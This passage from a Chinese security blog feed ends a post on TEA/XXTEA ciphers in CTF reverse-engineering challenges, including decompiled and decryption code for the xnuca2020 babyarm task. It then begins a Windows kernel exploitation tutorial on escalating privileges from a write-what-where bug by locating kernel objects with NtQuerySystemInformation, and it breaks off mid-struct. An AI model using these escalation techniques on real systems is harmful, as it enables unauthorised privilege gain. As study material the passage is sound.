class="number">-1</span>];</span><br><span class="line">       y = v[<span class="number">0</span>] -= MX;</span><br><span class="line">       sum -= DELTA;</span><br><span class="line">     &#125; <span class="keyword">while</span> (--rounds);</span><br><span class="line">   &#125;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>可以看到是由之前提到过的块加密衍生的一种写法。并且作者给出了这种算法的优势：</p><ul><li>每一个bit的更改将影响整个块的大约一半的bit位，但。</li><li>不用进行加密模式的选择。</li><li>即使采用始终更改发送的数据（可能只是一个消息号）的正确用法，只有相同的消息会给出相同的结果，并且只有很少量的信息泄漏。</li><li>应始终检查消息号，因为此操作是针对接受随机消息的检查。</li><li>应该无法被剪切和合并攻击。</li><li>如果不能接受很长的消息，则可以将它们分成60个单词的小块，并类似于用于DES的方法进行链接。</li></ul><p>不过即使这样，这个算法似乎还是存在选择明文攻击的可能。感兴趣的可以自行搜索。</p><h3 id="ctf题目中的常见tea">CTF题目中的常见TEA</h3><p>这类算法比较常见于逆向中，在分析二进制文件中的算法的时候有几个识别的特征:</p><ul><li>可能存在针对64bit以及128bit数字的操作（输入的msg和key）</li><li>存在<strong>先进行位移，然后异或</strong>的类似操作（<code>(z&gt;&gt;5^y&lt;&lt;2)</code>这类混合变换）</li><li>前面一个复杂的混合变换的结果可能会叠加到另一个值上，两者相互叠加（Feistel 结构）</li><li>获取密钥的时候，会使用某一个常量值作为下标（<code>key[(sum&gt;&gt;11) &amp; 3]</code>）</li><li>会在算法开始定义一个delta，并且这个值不断的参与算法，但是<strong>从来不会受到输入的影响</strong>（delta数值，根据见过的题目中很少会直接使用0x9e3779b9）</li></ul><p>解决逆向题大部分出现TEA的场合都是【识别算法-&gt;编写对应解密程序】，将上述的算法进行逆推即可得到解密。</p><h4 id="实战：xnuca2020-babyarm">实战：xnuca2020 babyarm</h4><p>这个题目里面的TEA是出题人魔改过的:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( (<span class="type">signed</span> <span class="type">int</span>)v34 &lt;= <span class="number">15</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      v9 = v4[<span class="number">15</span>];</span><br><span class="line">      v28 = v4[<span class="number">1</span>];</span><br><span class="line">      v10 = v4[<span class="number">6</span>];</span><br><span class="line">      v32 = *v4;</span><br><span class="line">      v11 = v4[<span class="number">9</span>];</span><br><span class="line">      v25 = v4[<span class="number">2</span>];</span><br><span class="line">      v12 = v4[<span class="number">10</span>];</span><br><span class="line">      v29 = v4[<span class="number">3</span>];</span><br><span class="line">      v13 = v4[<span class="number">11</span>];</span><br><span class="line">      v26 = v4[<span class="number">4</span>];</span><br><span class="line">      v14 = v4[<span class="number">12</span>];</span><br><span class="line">      v27 = v4[<span class="number">5</span>];</span><br><span class="line">      v15 = v4[<span class="number">13</span>];</span><br><span class="line">      v30 = v4[<span class="number">7</span>];</span><br><span class="line">      v16 = v4[<span class="number">14</span>];</span><br><span class="line">      v33 = v4[<span class="number">15</span>];</span><br><span class="line">      v31 = v4[<span class="number">8</span>];</span><br><span class="line">      <span class="keyword">do</span></span><br><span class="line">      &#123;</span><br><span class="line">        sum = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">do</span></span><br><span class="line">        &#123;</span><br><span class="line">          sum -= <span class="number">0x61C88647</span>;</span><br><span class="line">          v32 += (((v28 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v9) + (<span class="number">4</span> * v28 ^ (v9 &gt;&gt; <span class="number">5</span>))) ^ ((v9 ^ *(<span class="type">int</span> *)((<span class="type">char</span> *)&amp;v40 + (sum &amp; <span class="number">0xC</span>) - <span class="number">0x14</span>))<span class="comment">// ((char *)&amp;v41 + (v17 &amp; 0xC) - 0x14)这种写法表示:（包括写成-20-&gt;0x14）+ (v28 ^ sum));</span></span><br><span class="line">          v28 += ((*(&amp;v40 + (((<span class="type">unsigned</span> __int8)(sum &gt;&gt; <span class="number">2</span>) ^ <span class="number">1</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v32) + (v25 ^ sum)) ^ (((v25 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v32)</span><br><span class="line">                                                                                                + (<span class="number">4</span> * v25 ^ (v32 &gt;&gt; <span class="number">5</span>)));</span><br><span class="line">          v25 += ((*(&amp;v40 + (((<span class="type">unsigned</span> __int8)(sum &gt;&gt; <span class="number">2</span>) ^ <span class="number">2</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v28) + (v29 ^ sum)) ^ (((v29 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v28)</span><br><span class="line">                                                                                                + (<span class="number">4</span> * v29 ^ (v28 &gt;&gt; <span class="number">5</span>)));</span><br><span class="line">          v29 += ((*(&amp;v40 + (((<span class="type">unsigned</span> __int8)(sum &gt;&gt; <span class="number">2</span>) ^ <span class="number">3</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v25) + (v26 ^ sum)) ^ (((v26 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v25)</span><br><span class="line">                                                                                                + (<span class="number">4</span> * v26 ^ (v25 &gt;&gt; <span class="number">5</span>)));</span><br><span class="line">          v26 += ((*(&amp;v40 + ((sum &gt;&gt; <span class="number">2</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v29) + (v27 ^ sum)) ^ (((v27 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v29)<span class="comment">// 没有异或</span></span><br><span class="line">                                                                         + (<span class="number">4</span> * v27 ^ (v29 &gt;&gt; <span class="number">5</span>)));</span><br><span class="line">          v27 += ((*(&amp;v40 + (((<span class="type">unsigned</span> __int8)(sum &gt;&gt; <span class="number">2</span>) ^ <span class="number">5</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v26) + (v10 ^ sum)) ^ (((v10 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v26)</span><br><span class="line">                                                                                                + (<span class="number">4</span> * v10 ^ (v26 &gt;&gt; <span class="number">5</span>)));</span><br><span class="line">          v10 += ((*(&amp;v40 + (((<span class="type">unsigned</span> __int8)(sum &gt;&gt; <span class="number">2</span>) ^ <span class="number">6</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v27) + (v30 ^ sum)) ^ (((v30 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v27)</span><br><span class="line">                                                                                                + (<span class="number">4</span> * v30 ^ (v27 &gt;&gt; <span class="number">5</span>)));</span><br><span class="line">          v30 += ((*(&amp;v40 + (((<span class="type">unsigned</span> __int8)(sum &gt;&gt; <span class="number">2</span>) ^ <span class="number">7</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v10) + (v31 ^ sum)) ^ (((v31 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v10)</span><br><span class="line">                                                                                                + (<span class="number">4</span> * v31 ^ (v10 &gt;&gt; <span class="number">5</span>)));</span><br><span class="line">          v18 = v31</span><br><span class="line">              + (((*(&amp;v40 + ((sum &gt;&gt; <span class="number">2</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v30) + (v11 ^ sum)) ^ (((v11 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v30)<span class="comment">// 没有异或</span></span><br><span class="line">                                                                         + (<span class="number">4</span> * v11 ^ (v30 &gt;&gt; <span class="number">5</span>))));</span><br><span class="line">          v11 += ((*(&amp;v40 + (((<span class="type">unsigned</span> __int8)(sum &gt;&gt; <span class="number">2</span>) ^ <span class="number">9</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v18) + (v12 ^ sum)) ^ (((v12 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v18)</span><br><span class="line">                                                                                                + (<span class="number">4</span> * v12 ^ (v18 &gt;&gt; <span class="number">5</span>)));</span><br><span class="line">          v31 = v18;</span><br><span class="line">          <span class="built_in">LOBYTE</span>(v18) = sum &gt;&gt; <span class="number">2</span>;</span><br><span class="line">          v12 += ((*(&amp;v40 + (((<span class="type">unsigned</span> __int8)v18 ^ <span class="number">0xA</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v11) + (v13 ^ sum)) ^ (((v13 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v11)</span><br><span class="line">                                                                                           + (<span class="number">4</span> * v13 ^ (v11 &gt;&gt; <span class="number">5</span>)));</span><br><span class="line">          v13 += ((*(&amp;v40 + (((<span class="type">unsigned</span> __int8)v18 ^ <span class="number">0xB</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v12) + (v14 ^ sum)) ^ (((v14 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v12)</span><br><span class="line">                                                                                           + (<span class="number">4</span> * v14 ^ (v12 &gt;&gt; <span class="number">5</span>)));</span><br><span class="line">          v14 += ((*(&amp;v40 + ((sum &gt;&gt; <span class="number">2</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v13) + (v15 ^ sum)) ^ (((v15 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v13)<span class="comment">// 没有异或</span></span><br><span class="line">                                                                         + (<span class="number">4</span> * v15 ^ (v13 &gt;&gt; <span class="number">5</span>)));</span><br><span class="line">          v15 += (((v16 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v14) + (<span class="number">4</span> * v16 ^ (v14 &gt;&gt; <span class="number">5</span>))) ^ ((*(&amp;v40 + (((<span class="type">unsigned</span> __int8)v18 ^ <span class="number">0xD</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v14)</span><br><span class="line">                                                                     + (v16 ^ sum));</span><br><span class="line">          v16 += (((v33 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v15) + (<span class="number">4</span> * v33 ^ (v15 &gt;&gt; <span class="number">5</span>))) ^ ((*(&amp;v40 + (((<span class="type">unsigned</span> __int8)v18 ^ <span class="number">0xE</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v15)</span><br><span class="line">                                                                     + (v33 ^ sum));</span><br><span class="line">          v19 = (((v32 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * v16) + (<span class="number">4</span> * v32 ^ (v16 &gt;&gt; <span class="number">5</span>))) ^ ((*(&amp;v40 + (((<span class="type">unsigned</span> __int8)v18 ^ <span class="number">0xF</span>) &amp; <span class="number">3</span>) - <span class="number">5</span>) ^ v16)</span><br><span class="line">                                                                    + (v32 ^ sum));</span><br><span class="line">          *v4 = v32;</span><br><span class="line">          v4[<span class="number">1</span>] = v28;</span><br><span class="line">          v4[<span class="number">2</span>] = v25;</span><br><span class="line">          v4[<span class="number">3</span>] = v29;</span><br><span class="line">          v4[<span class="number">4</span>] = v26;</span><br><span class="line">          v4[<span class="number">5</span>] = v27;</span><br><span class="line">          v9 = v19 + v33;</span><br><span class="line">          v4[<span class="number">7</span>] = v30;</span><br><span class="line">          v4[<span class="number">6</span>] = v10;</span><br><span class="line">          v4[<span class="number">8</span>] = v31;</span><br><span class="line">          v4[<span class="number">9</span>] = v11;</span><br><span class="line">          v4[<span class="number">10</span>] = v12;</span><br><span class="line">          v4[<span class="number">11</span>] = v13;</span><br><span class="line">          v4[<span class="number">12</span>] = v14;</span><br><span class="line">          v4[<span class="number">13</span>] = v15;</span><br><span class="line">          v4[<span class="number">14</span>] = v16;</span><br><span class="line">          v4[<span class="number">15</span>] = v19 + v33;</span><br><span class="line">          v33 += v19;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">while</span> ( sum != <span class="number">0x8FF34781</span> );</span><br><span class="line">        ++v34;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">while</span> ( v34 != (<span class="type">char</span> *)<span class="number">16</span> );</span><br></pre></td></tr></table></figure><p>上述加密</p><p>而且玩了一个小花招：这段逻辑并不会一开始就出现在main函数中，而是在执行的时候，从<code>.init_array</code>取出的函数会将main函数的后方逻辑修改成这个函数的入口。整体逻辑比较偏长，不过可以辨认应该是魔改的XXTEA，并且每16个字节为一组进行的加密。这个题有几个小坑</p><ul><li>sum是减法而不是TEA算法中常见的加法运算</li><li>这几个加密算法中的4，8，12，16个字节的算法不同于其他的加密算法</li></ul><p>不过识别出这些坑之后，由于我们知道TEA算法实际上是满足<code>Feistel 结构</code>的算法。这一类算法在已知key的情况下，必定是可以反推的。通过观察我们可以知道，<code>v4[15]</code>正好是最新的一个状态，所以可以从这个状态往回进行推理。题目中的key就藏在了文件中，于是最终解密代码我们可以写成:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">uint32_t</span> <span class="title">DeryptoLoop</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> num1, <span class="type">unsigned</span> <span class="type">int</span> num2, <span class="type">uint32_t</span> sum, <span class="type">uint32_t</span> index)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> key[<span class="number">4</span>] = &#123; <span class="number">2</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span> &#125;;</span><br><span class="line"><span class="comment">//unsigned int key[4] = &#123; 4,3,2,2 &#125;;</span></span><br><span class="line"><span class="type">uint32_t</span> tmp1 = ((num1 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * num2) + (<span class="number">4</span> * num1 ^ (num2 &gt;&gt; <span class="number">5</span>));</span><br><span class="line"><span class="type">uint32_t</span> tmp2 = (key[((sum &gt;&gt; <span class="number">2</span>) ^ index) &amp; <span class="number">3</span>] ^ num2) + (num1 ^ sum);</span><br><span class="line"><span class="keyword">return</span> tmp1 ^ tmp2;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">uint32_t</span> <span class="title">DeryptoLoop2</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> num1, <span class="type">unsigned</span> <span class="type">int</span> num2, <span class="type">uint32_t</span> sum, <span class="type">uint32_t</span> index)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> key[<span class="number">4</span>] = &#123; <span class="number">2</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span> &#125;;</span><br><span class="line"><span class="comment">//unsigned int key[4] = &#123; 4,3,2,2 &#125;;</span></span><br><span class="line"><span class="type">uint32_t</span> tmp1 = ((num1 &gt;&gt; <span class="number">3</span>) ^ <span class="number">16</span> * num2) + (<span class="number">4</span> * num1 ^ (num2 &gt;&gt; <span class="number">5</span>));</span><br><span class="line"><span class="type">uint32_t</span> tmp2 = (key[((sum &gt;&gt; <span class="number">2</span>)) &amp; <span class="number">3</span>] ^ num2) + (num1 ^ sum);</span><br><span class="line"><span class="keyword">return</span> tmp1 ^ tmp2;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">decrypt2</span><span class="params">(<span class="type">unsigned</span> dec_2[<span class="number">16</span>])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> state[<span class="number">16</span>];</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> DELTA = <span class="number">0x8FF34781</span>;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> key[<span class="number">4</span>] = &#123; <span class="number">2</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span> &#125;;</span><br><span class="line"><span class="type">int</span> round = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">16</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">state[i] = enc_2[i];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">do</span> &#123;</span><br><span class="line"><span class="type">int</span> tmpd = DELTA;</span><br><span class="line"><span class="keyword">do</span> &#123;</span><br><span class="line">state[<span class="number">15</span>] -= <span class="built_in">DeryptoLoop</span>(state[<span class="number">0</span>], state[<span class="number">14</span>], tmpd, <span class="number">15</span>);</span><br><span class="line">state[<span class="number">14</span>] -= <span class="built_in">DeryptoLoop</span>(state[<span class="number">15</span>], state[<span class="number">13</span>], tmpd, <span class="number">14</span>);</span><br><span class="line">state[<span class="number">13</span>] -= <span class="built_in">DeryptoLoop</span>(state[<span class="number">14</span>], state[<span class="number">12</span>], tmpd, <span class="number">13</span>);</span><br><span class="line">state[<span class="number">12</span>] -= <span class="built_in">DeryptoLoop2</span>(state[<span class="number">13</span>], state[<span class="number">11</span>], tmpd, <span class="number">12</span>);</span><br><span class="line">state[<span class="number">11</span>] -= <span class="built_in">DeryptoLoop</span>(state[<span class="number">12</span>], state[<span class="number">10</span>], tmpd, <span class="number">11</span>);</span><br><span class="line">state[<span class="number">10</span>] -= <span class="built_in">DeryptoLoop</span>(state[<span class="number">11</span>], state[<span class="number">9</span>], tmpd, <span class="number">10</span>);</span><br><span class="line">state[<span class="number">9</span>] -= <span class="built_in">DeryptoLoop</span>(state[<span class="number">10</span>], state[<span class="number">8</span>], tmpd, <span class="number">9</span>);</span><br><span class="line">state[<span class="number">8</span>] -= <span class="built_in">DeryptoLoop2</span>(state[<span class="number">9</span>], state[<span class="number">7</span>], tmpd, <span class="number">8</span>);</span><br><span class="line">state[<span class="number">7</span>] -= <span class="built_in">DeryptoLoop</span>(state[<span class="number">8</span>], state[<span class="number">6</span>], tmpd, <span class="number">7</span>);</span><br><span class="line">state[<span class="number">6</span>] -= <span class="built_in">DeryptoLoop</span>(state[<span class="number">7</span>], state[<span class="number">5</span>], tmpd, <span class="number">6</span>);</span><br><span class="line">state[<span class="number">5</span>] -= <span class="built_in">DeryptoLoop</span>(state[<span class="number">6</span>], state[<span class="number">4</span>], tmpd, <span class="number">5</span>);</span><br><span class="line">state[<span class="number">4</span>] -= <span class="built_in">DeryptoLoop2</span>(state[<span class="number">5</span>], state[<span class="number">3</span>], tmpd, <span class="number">4</span>);</span><br><span class="line">state[<span class="number">3</span>] -= <span class="built_in">DeryptoLoop</span>(state[<span class="number">4</span>], state[<span class="number">2</span>], tmpd, <span class="number">3</span>);</span><br><span class="line">state[<span class="number">2</span>] -= <span class="built_in">DeryptoLoop</span>(state[<span class="number">3</span>], state[<span class="number">1</span>], tmpd, <span class="number">2</span>);</span><br><span class="line">state[<span class="number">1</span>] -= <span class="built_in">DeryptoLoop</span>(state[<span class="number">2</span>], state[<span class="number">0</span>], tmpd, <span class="number">1</span>);</span><br><span class="line">state[<span class="number">0</span>] -= <span class="built_in">DeryptoLoop2</span>(state[<span class="number">1</span>], state[<span class="number">15</span>], tmpd, <span class="number">0</span>);</span><br><span class="line">tmpd += <span class="number">0x61C88647</span>;</span><br><span class="line">&#125; <span class="keyword">while</span> (tmpd != <span class="number">0</span>);</span><br><span class="line">round += <span class="number">1</span>;</span><br><span class="line">&#125; <span class="keyword">while</span> (round &lt; <span class="number">16</span>);</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">16</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">dec_2[i] = state[i];</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结">总结</h2><p>最初只是想作为一个笔记记录一下学习过程，然而后来发现TEA的演进过程十分有趣，不能知其然而不知其所以然，为啥TEA算法最后会被淘汰呢？我觉得了解这些事情能够帮助我们更加深入的去理解这个算法，也能帮助我们更好的去回顾过去发生过的那些黑客故事。有机会的话应该会把那个Xbox破解的事情给翻译一下~</p><h2 id="参考链接">参考链接</h2><p><a href="https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm">Wiki TEA</a><br><a href="https://en.wikipedia.org/wiki/XTEA">Wiki XTEA</a><br><a href="https://en.wikipedia.org/wiki/XXTEA">Wiki XXTEA</a><br><a href="https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm">Wiki-Tiny_Encryption_Algorithm</a><br><a href="https://web.archive.org/web/20090416175601/http://www.xbox-linux.org/wiki/17_Mistakes_Microsoft_Made_in_the_Xbox_Security_System#The_TEA_Hash">Xbox_Security_System_With_TEA_Hash</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;作为一个老年CTF选手，真实见证了逆向出题的变化，从当年的字节异或已经变成了TEA这种高阶算法。。这里就来学习一下&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本文首发于安全客 &lt;a href=&quot;https://www.anquanke.com/post/id/224198&quot;&gt;https://www.anquanke.com/post/id/224198&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;more-tea系列算法学习&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Crypto" scheme="https://showlinkroom.me/categories/Crypto/"/>
    
    
    <category term="TEA" scheme="https://showlinkroom.me/tags/TEA/"/>
    
  </entry>
  
  <entry>
    <title>WindowsKernelExploit2.5</title>
    <link href="https://showlinkroom.me/2020/10/17/WindowsKernelExploit2-5/"/>
    <id>https://showlinkroom.me/2020/10/17/WindowsKernelExploit2-5/</id>
    <published>2020-10-17T10:35:11.000Z</published>
    <updated>2020-11-12T15:16:56.073Z</updated>
    
    <content type="html"><![CDATA[<p>上篇我们只是简单介绍了一下 在Windows Kernel中的 WWW 类型的漏洞应该怎么利用。这一篇将会比较详细的讲解一下常见的理用方式以及相关调试技巧。（可能会借助上一篇中存在的漏洞）<br>本篇转自安全客 <a href="https://www.anquanke.com/post/id/218681">https://www.anquanke.com/post/id/218681</a></p><span id="more"></span><h2 id="windows-kernel-exploit中的那些事儿">Windows Kernel Exploit中的那些事儿</h2><h2 id="当谈到kernel-exploit的时候-我们希望做到什么？">当谈到Kernel Exploit的时候，我们希望做到什么？</h2><p>其实很多的漏洞利用，最终都是为了转换成这个漏洞——任意位置读写。所以我们首先要有一个概念就是，<strong>当我们获得了一个WWW类型的漏洞的时候，我们需要做什么</strong>。这里我们借助这<a href="http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf">一篇文章一起来学习一下</a></p><h3 id="如果获得了www-write-what-where">如果获得了WWW(Write-What-Where)</h3><p>当我们通过IOCTL等各种方式与内核模块发生了交互的时候，我们实际上就拥有了从usermode向kernelmode发起交互的能力，这个时候其实就类似在用户态能够进行交互。所以当我们能够拥有一个WWW漏洞的时候，实际上我们希望做到的事情是</p><blockquote><p>能够将一个由我们控制的进程权限，提升到我们想要让它达到的权限上去</p></blockquote><p>非常重要的一点是，我们需要明白此时的我们需要的目的是什么。也就是说</p><blockquote><p>并不是单纯追求system shell，而是在保证系统稳定的前提下，获得我们想要的权限</p></blockquote><p>这点很重要。前几次的攻击练习中，我单纯的以为<code>kernel exploit</code>就是<code>将某个进程的PROCESS TOKEN复制到当前进程</code>。如果需要做到这一步的话，那么实际上意味着我们此时的攻击<strong>需要能够执行shellcode</strong>。类比一下的话，就好像在玩linux pwn题，然后此时我们非要获得一个函数指针，或者是关闭了<code>NX</code>的栈溢出，然后等待着<code>jmp esp</code>之类奇怪指令的出现。</p><p>但是！如果我们只是为了获得想要的权限的话，不如从源头出发，也就是考虑<strong>Windows下的各种权限都是怎么得到的呢？</strong>。进一步来说，为什么<code>winlogon.exe</code>这个程序的权限这么高，而我们自己启动的<code>cmd.exe</code>能做到的事情那么少，但是为什么<code>windbg.exe</code>却好像能够跨过某些障碍进行调试呢？其实这就是之前博客中提到过的<strong>Windows权限管理</strong>实现的。简单来说，就是以下两个特性:</p><ul><li>Access Right: 访问控制</li><li>Privilege: 特权</li></ul><p>这两个特性控制了Windows下的权限，而当我们想要进行<strong>越权操作</strong>的时候，实际上我们就是<strong>企图控制一个进程的权限控制模块</strong>。于是，当获得了一个<code>WWW</code>类型漏洞，我们实际上应该是<strong>尝试修改当前进程的权限管理对象</strong>，说白了，也就是一些存放在内核中的系统变量。</p><h3 id="从-ntquerysysteminformation-开始的故事">从 NtQuerySystemInformation 开始的故事</h3><p>Windows的<code>NtQuery*</code>API系列其实能做的事情比他文档中写出来的多得多，其中最厉害的就是这个<code>NtQuerySystemInformation</code>，这个API能够返回一些<strong>系统级别的内存对象</strong>，例如:</p><ul><li>当前系统进程/线程信息</li><li>当前页文件使用状况/缓存使用情况</li><li>系统的一些中断信息</li></ul><p>简直就像是一个后门函数了（笑）<br>这里我们关注一个叫做<code>SystemHandleInformation</code>类型的数据，通过传入这个参数，我们能够获得<strong>当前进程中的每一个句柄的使用情况</strong>:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">NtQuerySystemInformation</span>((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, <span class="number">0x20</span>, &amp;outBuffer);</span><br></pre></td></tr></table></figure><p>其中句柄的结构长这个样子:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_SYSTEM_HANDLE_INFORMATION</span></span><br><span class="line">&#123;</span><br><span class="line">ULONG NumberOfHandles;</span><br><span class="line">SYSTEM_HANDLE Handels[<span class="number">1</span>];</span><br><span class="line">&#125; SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;</span><br></pre></td></tr></table></figure><p>这个地方记录了当前进程中，所有会使用到的句柄。注意是<strong>所有</strong>，换句话说，有些句柄可能并不是当前进程打开的，也会记录在这边（之后会举例）。句柄的结构体如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_SYSTEM_HANDLE_TABLE_ENTRY_INFO</span></span><br><span class="line">&#123;</span><br><span class="line">ULONG ProcessId;                <span class="comment">// 当前句柄属于的进程</span></span><br><span class="line">UCHAR ObjectTypeNumber;         <span class="comment">// 当前句柄的类型</span></span><br><span class="line">UCHAR Flags;</span><br><span class="line">USHORT Handle;                  <span class="comment">// 当前句柄的句柄号</span></span><br><span class="line"><span class="type">void</span>* Object;                   <span class="comment">// 当前句柄实际对象的地址</span></span><br><span 